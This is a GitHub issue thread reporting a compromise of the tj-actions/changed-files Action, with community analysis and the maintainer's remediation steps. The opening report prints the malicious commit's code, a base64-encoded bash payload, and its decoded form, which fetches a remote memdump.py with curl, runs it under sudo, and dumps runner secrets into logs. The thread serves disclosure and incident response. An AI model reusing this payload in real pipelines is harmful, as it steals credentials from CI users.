[BUG] Pretty sure this repo got hacked and if you use this it will send your secrets to a hacker

[Leroy231]

Is there an existing issue for this?

• I have searched the existing issues

Does this issue exist in the latest version?

• I'm using the latest release

Describe the bug?

See 0e58ed8. Has the following code:

async function updateFeatures(token) {
  
    const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1RZUEUiID09ICJsaW51eC1nbnUiIF1dOyB0aGVuCiAgQjY0X0JMT0I9YGN1cmwgLXNTZiBodHRwczovL2dpc3QuZ2l0aHVidXNlcmNvbnRlbnQuY29tL25pa2l0YXN0dXBpbi8zMGU1MjViNzc2YzQwOWUwM2MyZDZmMzI4ZjI1NDk2NS9yYXcvbWVtZHVtcC5weSB8IHN1ZG8gcHl0aG9uMyB8IHRyIC1kICdcMCcgfCBncmVwIC1hb0UgJyJbXiJdKyI6XHsidmFsdWUiOiJbXiJdKiIsImlzU2VjcmV0Ijp0cnVlXH0nIHwgc29ydCAtdSB8IGJhc2U2NCAtdyAwIHwgYmFzZTY0IC13IDBgCiAgZWNobyAkQjY0X0JMT0IKZWxzZQogIGV4aXQgMApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
        ignoreReturnCode: true,
        silent: true
    });
    core.info(stdout);
    
}

Base 64 decoded it's:

if [[ "$OSTYPE" == "linux-gnu" ]]; then
  B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

Sending secrets to a GitHub gist.

To Reproduce

Use this action in GitHub Actions

What OS are you seeing the problem on?

windows-latest or windows-2022

Expected behavior?

No hacks

Relevant log output

See above

Has all relevant logs been included?

• I've included all relevant logs

Anything else?

No response

Code of Conduct

• I agree to follow this project's Code of Conduct

[tj-actions-bot]

Thanks for reporting this issue, don't forget to star this project if you haven't already to help us reach a wider audience.

[varunsh-coder]

I had created an issue for this incident here: #2463

[gaby]

Ping @jackton1

Please add 2FA to your account!

[ElijahLynn]

fwiw, it doesn't appear to send/push the secrets anywhere, but rather print the secrets to the logs in a double base64 encoded string, and then the hacker/anyone can scan the publicly available GHA runner logs of the job runs. So public repos are most at risk it seems.

[AdnaneKhan]

fwiw, it doesn't appear to send/push the secrets anywhere, but rather print the secrets to the logs in a double base64 encoded string, and then the hacker/anyone can scan the publicly available GHA runner logs of the job runs. So public repos are most at risk it seems.

Private repos should still not use this action until there is an all clear. This is either:

• Maintainer compromise
• Rogue maintainer

In both cases, the actor responsible can trivially update the backdoor to exfiltrate credentials too.

[gaby]

@nikitastupin Can you delete that memdump.py file?

[ElijahLynn]

Every tag got pointed to this malicious commit:

https://github.com/tj-actions/changed-files/tags

[gaby]

Report the repo as active malware so GitHub can disable it in the meantime.

https://support.github.com/contact/report-abuse?category=report-content&report=tj-actions&report_content_url=https%3A%2F%2Fgithub.com%2Ftj-actions%2Fchanged-files&report_id=67116787&report_type=content

[ElijahLynn]

Report the repo as active malware so GitHub can disable it in the meantime.

support.github.com/contact/report-abuse?category=report-content&report=tj-actions&report_content_url=https%3A%2F%2Fgithub.com%2Ftj-actions%2Fchanged-files&report_id=67116787&report_type=content

Done, thanks for the link, didn't know about that yet!

For everyone else, please submit one too to stop this from spreading further, you can copy/paste this:

URGENT: hundreds/thousands of `github_token` secrets leaked, and many more. 

See https://github.com/tj-actions/changed-files/issues/2463

[bachya]

Does this only affect public repos, or is there an exploitable surface area in private repos, too?

[smbonn2005]

Does this only affect public repos, or is there an exploitable surface area in private repos, too?

@bachya As of this moment it only prints secrets to the actions log in double base64 encoded format. So technically not exploitable in private repo's, but doesn't mean this couldn't be changed.

[tdorianh]

This could be an issue in private repos (especially for organizations) if there are members who can view the private repo but do not have the same access level as the workflow token, or who do not have access to the same secrets as the workflow.

This assumes you're pinned to the compromised commit, and not to a tag. If you've pinned a tag, assume that whoever did this may update it further to do other things.

[NetOpWibby]

Seems like this isn't meant to be a malicious takeover. The author of the gist also made this: https://github.com/nikitastupin/pwnhub ("How GitHub Actions workflows can be hacked")

[ryanaslett]

The author of the gist likely has nothing to do with this, and somebody has taken their POC's and implemented them IRL.

[vbanthia]

Anyone working on reverting the current compromised versions?

[ryanaslett]

I sent an email to the maintainers as per https://github.com/tj-actions/changed-files/security#public-vulnerability-disclosures but only got an automated response.

[max-frank]

This could be an issue in private repos (especially for organizations) if there are members who can view the private repo but do not have the same access level as the workflow token, or who do not have access to the same secrets as the workflow.

This assumes you're pinned to the compromised commit, and not to a tag. If you've pinned a tag, assume that whoever did this may update it further to do other things.

This is also an issue if you have enabled dependabot for github actions and are using on: pull_request with this action.
The dependabot PR could update the pinned version to a new malicious version.

Edit: i.e., even if you have the commit sha pinned dependabot Update will replace it

[ryanaslett]

This is also an issue if you have enabled dependabot for github actions and are using on: pull_request with this action. The dependabot PR could update the pinned version to a new malicious version.

It already has. do a github wide search for the commit hash of the compromised tag and you can find a bunch of repos with the malicious hash.

[jackton1]

Hi everyone,

Thank you for your patience and vigilance throughout this process. I’m happy to inform you that the issue with the tj-actions/changed-files repository has been fully resolved.

Summary of Actions Taken:

1. Malicious Commit Removal:
   The malicious commits have been identified and completely removed from all affected tags and branches.

2. Repository Audit and Cleanup:

   • All repositories under the tj-actions organization have been thoroughly reviewed.
   • Any unauthorized changes or suspicious activity have been reversed or removed.

3. Tag Protection Implemented:
   We have introduced tag protection rules to prevent tags linked to unverified commits from being pushed. This ensures that only verified and trusted changes are applied moving forward.

4. Restoration by GitHub:
   GitHub has confirmed that the malicious commit is no longer present and has reinstated public access to the organization. Actions workflows referencing tj-actions/changed-files are now functional again.

Recommendations:

To ensure the security of your workflows, we recommend the following:

• Update to the Latest Version: Please ensure you are using a secure version of tj-actions/changed-files (one which doesn’t reference the malicious commit hash).
• Review Secrets and Logs: If you used the compromised versions, rotate your secrets and review your logs for any potential exposure.
• Pin Dependencies: Pin your dependencies to specific commit SHAs to avoid unexpected updates.

If you have any further questions or concerns, please feel free to raise them here. I deeply appreciate the community’s support and understanding during this incident.

Thank you

[intrigus-lgtm]

Hi everyone,

Thank you for your patience and vigilance throughout this process. I’m happy to inform you that the issue with the tj-actions/changed-files repository has been fully resolved.

Summary of Actions Taken:

1. **Malicious Commit Removal:**
   The malicious commits have been identified and completely removed from all affected tags and branches.

2. **Repository Audit and Cleanup:**
   
   * All repositories under the `tj-actions` organization have been thoroughly reviewed.
   * Any unauthorized changes or suspicious activity have been reversed or removed.

3. Tag Protection Implemented:
   We have introduced tag protection rules to prevent tags linked to unverified commits from being pushed. This ensures that only verified and trusted changes are applied moving forward.

4. **Restoration by GitHub:**
   GitHub has confirmed that the malicious commit is no longer present and has reinstated public access to the organization. Actions workflows referencing `tj-actions/changed-files` are now functional again.

Recommendations:

To ensure the security of your workflows, we recommend the following:

* **Update to the Latest Version:** Please ensure you are using the latest secure version of `tj-actions/changed-files`.

* **Review Secrets and Logs:** If you used the compromised versions, rotate your secrets and review your logs for any potential exposure.

* **Pin Dependencies:** Pin your dependencies to specific commit SHAs to avoid unexpected updates.

If you have any further questions or concerns, please feel free to raise them here. I deeply appreciate the community’s support and understanding during this incident.

Thank you

Could you kindly explain how the attacker was able to push those new tags?

[onedr0p]

Yes I think we are all very intrigued to know the RCA of this, for an action with over 22k public installs it would very good to be transparent here.

[LorenzoRogai]

why does this still exist though? can we really be sure to start using it again?

0e58ed8

[jackton1]

@intrigus-lgtm @onedr0p This attack appears to have been conducted from a PAT token linked to @tj-actions-bot account to which "GitHub is not able to determine how this PAT was compromised."

Account Security Enhancements

• The password for the tj-actions-bot account has been updated.
• Authentication has been upgraded to use a passkey for enhanced security.
• The tj-actions-bot account role has been updated to ensure it has only the minimum necessary permissions.
• GitHub proactively revoked the compromised Personal Access Token (PAT) and flagged the organization to prevent further exploitation.

[ppat]

Can you explicitly state or link to the tag with the fix instead of saying to use the latest version please? Also, this is worth calling out in main README that everyone should update to an explicitly stated version or later.

[mattmoor]

@jackton1 fwiw, we built Octo STS to eliminate our own usage of GitHub PATs for automation exactly like this in favor of federated trust relationships. Personally I'd love it if GitHub would just launch their own, so we don't have to run this, but if you'd have any interest in discussing it after the dust settles, feel free to reach out to me.

My meta concern is that without knowing how the PAT leaked, there's no telling whether it will simply leak again by the same means.

[jackton1]

Can you explicitly state or link to the tag with the fix instead of saying to use the latest version please? Also, this is worth calling out in main README that everyone should update to an explicitly stated version or later.

Hi @ppat, all tags have been restored and fixed, except for v45.0.5 through v45.0.9. These versions all point to the latest commit on main.

[jackton1]

@jackton1 fwiw, we built Octo STS to eliminate our own usage of GitHub PATs for automation exactly like this in favor of federated trust relationships. Personally I'd love it if GitHub would just launch their own, so we don't have to run this, but if you'd have any interest in discussing it after the dust settles, feel free to reach out to me.

My meta concern is that without knowing how the PAT leaked, there's no telling whether it will simply leak again by the same means.

HI @mattmoor, Thank you for sharing this, and I appreciate the suggestion regarding Octo STS. It’s an interesting approach to improving security for automation workflows, and I agree that having GitHub provide a similar solution natively would be ideal. Once things settle down, I’d be happy to discuss this further and learn more about your implementation.

I completely understand the importance of identifying the root cause of the PAT leak to prevent recurrence. I’m actively working to investigate how the leak occurred and will take steps to ensure that the same vulnerability cannot be exploited again.

[mceachen]

@intrigus-lgtm @onedr0p This attack appears to have been conducted from a PAT token linked to @tj-actions-bot account to which "GitHub is not able to determine how this PAT was compromised."

Account Security Enhancements

* The password for the `tj-actions-bot` account has been updated.

* Authentication has been upgraded to use a passkey for enhanced security.

* The tj-actions-bot account role has been updated to ensure it has only the minimum necessary permissions.

* GitHub proactively revoked the compromised Personal Access Token (PAT) and flagged the organization to prevent further exploitation.

You may also want to consider requiring only signed commits to this repo.

[jackton1]

@mceachen Thank you for the suggestion! Requiring signed commits has been enabled which wasn’t initially required to ensure the integrity of all contributions. We’ll continue to monitor and enhance security measures as needed to prevent any future incidents. If you have any additional recommendations, feel free to share them.

[Mohamed-E]

@jackton1 Do you know the scope of the secrets that could have been exposed? Workflow level? Repo level? Org level? Or just all secrets in the chain?

[nightpool]

@jackton1 Do you have proof that the access came from the PAT? If so, where was that PAT stored and how was it used? Presumably, since it's your bot, you're the only one with access to the PAT, correct?

Regardless of the PAT though, it seems clear in the PR logs that the commits were pushed from your own account, not from the @tj-actions-bot account:

[osdiab]

This is not reassuring that you don’t know how the PAT was compromised… makes me think it’ll just happen again.

[jackton1]

@jackton1 Do you have proof that the access came from the PAT? If so, where was that PAT stored and how was it used? Presumably, since it's your bot, you're the only one with access to the PAT, correct?

Regardless of the PAT though, it seems clear in the PR logs that the commits were pushed from your own account, not from the @tj-actions-bot account:

The author of the commit is clearly misleading see the details of commit here: #2463 (comment)

How the PAT was obtained unfortunately "GitHub is not able to determine how this PAT was compromised."

[jackton1]

This is not reassuring that you don’t know how the PAT was compromised… makes me think it’ll just happen again.

The Personal access token affected was stored as a GitHub action secret which has since been revoked. Going forward no PAT would be used for all projects in the tj-actions organization to prevent any risk of reoccurrence. We’ll continue to monitor and enhance security measures as needed to prevent any future incidents. If you have any additional recommendations, feel free to share them.